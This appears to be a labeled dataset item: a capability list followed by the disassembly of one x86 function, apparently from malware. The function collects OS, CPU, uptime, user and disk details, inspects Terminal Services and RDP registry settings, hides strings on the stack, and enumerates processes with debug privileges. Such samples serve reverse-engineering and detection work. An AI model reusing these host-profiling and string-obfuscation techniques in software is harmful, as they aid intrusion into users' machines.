Function at 0x413460
Capabilities:
Acquire debug privileges
Check for time delay via gettickcount
Check os version
Contain obfuscated stackstrings
Enumerate processes
Get common file path
Get cpu information
Get disk information
Get disk size
Get session user name
Query or enumerate registry value
Query service status

Disassembly:
sub esp, 0x5b4
push ebx
push ebp
mov ebp, dword [esp + 0x5c0]
push esi
push edi
mov ecx, 0xe4
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0xd4]
xor ebx, ebx
push eax
xor esi, esi
mov dword [esp + 0xd8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0xd8]
cmp eax, 4
ja 0x4134aa
mov esi, 0x422b8c
cmp eax, 5
jne 0x4134d9
mov eax, dword [esp + 0xdc]
cmp eax, ebx
jne 0x4134c1
mov esi, str.2000
jmp 0x413538
cmp eax, 1
jne 0x4134cd
mov esi, 0x422b88
jmp 0x413538
cmp eax, 2
jne 0x413538
mov esi, str.2003
jmp 0x413538
cmp eax, 6
jne 0x413538
mov eax, dword [esp + 0xdc]
cmp eax, ebx
jne 0x413501
cmp byte [esp + 0x16e], 1
jne 0x4134fa
mov esi, str.Vista
jmp 0x413538
mov esi, str.2008
jmp 0x413538
cmp eax, 1
jne 0x41351e
cmp byte [esp + 0x16e], 1
jne 0x413517
mov esi, 0x421c84
jmp 0x413538
mov esi, str.2008R2
jmp 0x413538
cmp eax, 2
jne 0x413538
mov al, byte [esp + 0x16e]
mov esi, 0x421c80
cmp al, 1
je 0x413538
mov esi, str.2012
mov ecx, dword [esp + 0x168]
and ecx, 0xffff
push ecx
push esi
push str.Windows__s_SP_d
push ebp
call sub.MSVCRT.dll_sprintf
mov ecx, 0xc
mov esi, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
lea edi, [esp + 0x3cc]
add esp, 0x10
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x35
xor eax, eax
lea edi, [esp + 0x3ec]
lea edx, [esp + 0x68]
rep stosd dword es:[edi], eax
push edx
push 0xf003f
lea eax, [esp + 0x3c4]
push ebx
push eax
push reloc.WS2_32.dll_bind
mov dword [esp + 0x7c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4135d8
lea ecx, [esp + 0x6c]
lea edx, [ebp + 0x80]
push ecx
mov ecx, dword [esp + 0x6c]
lea eax, [esp + 0x14]
push edx
push eax
push ebx
push str.ProcessorNameString
push ecx
mov dword [esp + 0x84], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x68]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x413600
mov edi, str.Find_CPU_infomation_error
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, 0x31b5d43b
mul esi
mov ecx, edx
mov eax, esi
xor edx, edx
mov esi, 0x5265c00
div esi
mov edi, 0x36ee80
shr ecx, 0x18
mov esi, edx
xor edx, edx
mov eax, esi
div edi
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
mov eax, 0x95217cb1
push edx
mul esi
shr edx, 0x15
push edx
push ecx
lea ecx, [ebp + 0x100]
push str._dDay__dHour__dMin
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0x14
call fcn.0040e490
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x180]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp + 0x200]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x9c]
mov dword [esp + 0x9c], 0x80
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.0040fd60
push eax
call sub.MSVCRT.dll_atol
mov dword [ebp + 0x300], eax
call fcn.00410870
push eax
call sub.MSVCRT.dll_atol
add esp, 8
xor esi, esi
mov dword [ebp + 0x304], eax
xor edi, edi
mov al, bl
lea ecx, [esp + 0x90]
add al, 0x42
push ecx
mov byte [esp + 0x94], al
mov byte [esp + 0x95], 0x3a
mov byte [esp + 0x96], 0x5c
mov byte [esp + 0x97], 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x41375a
lea edx, [esp + 0xa8]
lea eax, [esp + 0xa0]
push edx
lea ecx, [esp + 0xb4]
push eax
lea edx, [esp + 0x98]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [esp + 0xa0]
mov edx, dword [esp + 0xa4]
mov ecx, 0x1e
call fcn.0041be00
mov edx, dword [esp + 0xac]
add esi, eax
mov eax, dword [esp + 0xa8]
mov ecx, 0x1e
call fcn.0041be00
add edi, eax
inc ebx
cmp ebx, 0x1a
jl 0x4136ca
lea eax, [ebp + 0x280]
push 0x80
push eax
push str.RDP_Tcp
mov dword [ebp + 0x308], esi
mov dword [ebp + 0x30c], edi
call fcn.0040fcd0
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x4137a8
push str.OpenSCManager_Error_
jmp 0x413bd7
push 0xf01ff
push str.TermService
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
mov dword [esp + 0x6c], esi
jne 0x4137cd
push str.OpenService_Error_
jmp 0x413bd7
lea ecx, [esp + 0xb8]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x41388a
lea edx, [esp + 0x70]
mov bl, 0x65
push edx
push str.ADVAPI32.dll
mov byte [esp + 0x78], 0x43
mov byte [esp + 0x79], 0x6c
mov byte [esp + 0x7a], 0x6f
mov byte [esp + 0x7b], 0x73
mov byte [esp + 0x7c], bl
mov byte [esp + 0x7d], 0x53
mov byte [esp + 0x7e], bl
mov byte [esp + 0x7f], 0x72
mov byte [esp + 0x80], 0x76
mov byte [esp + 0x81], 0x69
mov byte [esp + 0x82], 0x63
mov byte [esp + 0x83], bl
mov byte [esp + 0x84], 0x48
mov byte [esp + 0x85], 0x61
mov byte [esp + 0x86], 0x6e
mov byte [esp + 0x87], 0x64
mov byte [esp + 0x88], 0x6c
mov byte [esp + 0x89], bl
mov byte [esp + 0x8a], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push esi
call ebx
push edi
call ebx
push str.QueryServiceStatus_Error_
jmp 0x413bd7
lea eax, [esp + 0x18]
mov bl, 0x65
push eax
push str.ADVAPI32.dll
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], 0x6f
mov byte [esp + 0x23], 0x73
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x53
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x72
mov byte [esp + 0x28], 0x76
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x48
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], 0x64
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x6c]
mov esi, eax
push ecx
call esi
push edi
call esi
cmp dword [esp + 0xbc], 4
jne 0x413bd2
push 0
push 0
lea edx, [esp + 0x78]
push 0
push edx
push 4
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.WS2_32.dll_bind
call fcn.00408b10
lea eax, [esp + 0x90]
push eax
call sub.MSVCRT.dll_atoi
add esp, 0x24
test eax, eax
jne 0x413bcb
lea ecx, [esp + 0x10]
lea edx, [esp + 0x170]
push ecx
push edx
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x6e
mov byte [esp + 0x1b], 0x20
mov byte [esp + 0x1c], 0x58
mov byte [esp + 0x1d], 0x50
mov byte [esp + 0x1e], al
call sub.MSVCRT.dll__mbscmp
add esp, 8
test eax, eax
jne 0x413bc4
mov cl, 0x54
mov al, 0x74
mov byte [esp + 0x2f], cl
mov byte [esp + 0x39], al
mov byte [esp + 0x3d], al
mov byte [esp + 0x43], al
mov byte [esp + 0x4e], cl
mov byte [esp + 0x60], al
push 0
mov cl, 0x6d
push 0
lea eax, [esp + 0x4c8]
push 0
mov byte [esp + 0x5d], cl
mov byte [esp + 0x6a], cl
push eax
push 2
lea ecx, [esp + 0x40]
push str.ServiceDll
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x4c], 0x53
mov byte [esp + 0x4d], 0x59
mov byte [esp + 0x4e], 0x53
mov byte [esp + 0x50], 0x45
mov byte [esp + 0x51], 0x4d
mov byte [esp + 0x52], 0x5c
mov byte [esp + 0x53], 0x43
mov byte [esp + 0x54], 0x75
mov byte [esp + 0x55], 0x72
mov byte [esp + 0x56], 0x72
mov byte [esp + 0x57], bl
mov byte [esp + 0x58], 0x6e
mov byte [esp + 0x5a], 0x43
mov byte [esp + 0x5b], 0x6f
mov byte [esp + 0x5c], 0x6e
mov byte [esp + 0x5e], 0x72
mov byte [esp + 0x5f], 0x6f
mov byte [esp + 0x60], 0x6c
mov byte [esp + 0x61], 0x53
mov byte [esp + 0x62], bl
mov byte [esp + 0x64], 0x5c
mov byte [esp + 0x65], 0x53
mov byte [esp + 0x66], bl
mov byte [esp + 0x67], 0x72
mov byte [esp + 0x68], 0x76
mov byte [esp + 0x69], 0x69
mov byte [esp + 0x6a], 0x63
mov byte [esp + 0x6b], bl
mov byte [esp + 0x6c], 0x73
mov byte [esp + 0x6d], 0x5c
mov byte [esp + 0x6f], bl
mov byte [esp + 0x70], 0x72
mov byte [esp + 0x72], 0x53
mov byte [esp + 0x73], bl
mov byte [esp + 0x74], 0x72
mov byte [esp + 0x75], 0x76
mov byte [esp + 0x76], 0x69
mov byte [esp + 0x77], 0x63
mov byte [esp + 0x78], bl
mov byte [esp + 0x79], 0x5c
mov byte [esp + 0x7a], 0x50
mov byte [esp + 0x7b], 0x61
mov byte [esp + 0x7c], 0x72
mov byte [esp + 0x7d], 0x61
mov byte [esp + 0x7f], bl
mov byte [esp + 0x81], bl
mov byte [esp + 0x82], 0x72
mov byte [esp + 0x83], 0x73
mov byte [esp + 0x84], 0
call fcn.00408b10
lea edx, [esp + 0x4e0]
push str.termsrv_t
push edx
call sub.MSVCRT.dll__mbsstr
add esp, 0x28
test eax, eax
je 0x413bbd
lea eax, [esp + 0x2b8]
push 0x104
push eax
mov dword [esp + 0x198], 0x128
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x2b8]
push str._termsrv_t.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push str.SeDebugPrivilege
call fcn.004145a0
add esp, 8
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0x190]
mov esi, eax
push edx
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x413b9c
mov ecx, dword [esp + 0x198]
lea eax, [esp + 0x2b8]
push eax
push ecx
call fcn.00411c30
add esp, 8
test eax, eax
jne 0x413b97
lea edx, [esp + 0x190]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x413b9c
mov ecx, dword [esp + 0x198]
lea eax, [esp + 0x2b8]
push eax
push ecx
call fcn.00411c30
add esp, 8
test eax, eax
je 0x413b69
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push str.SeDebugPrivilege
call fcn.004145a0
add esp, 8
test edi, edi
je 0x413bbd
push 0x422a68
jmp 0x413bd7
push 0x422a58
jmp 0x413bd7
push 0x422a44
jmp 0x413bd7
push 0x422a34
jmp 0x413bd7
push 0x422a24
add ebp, 0x310
push ebp
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5b4
ret 4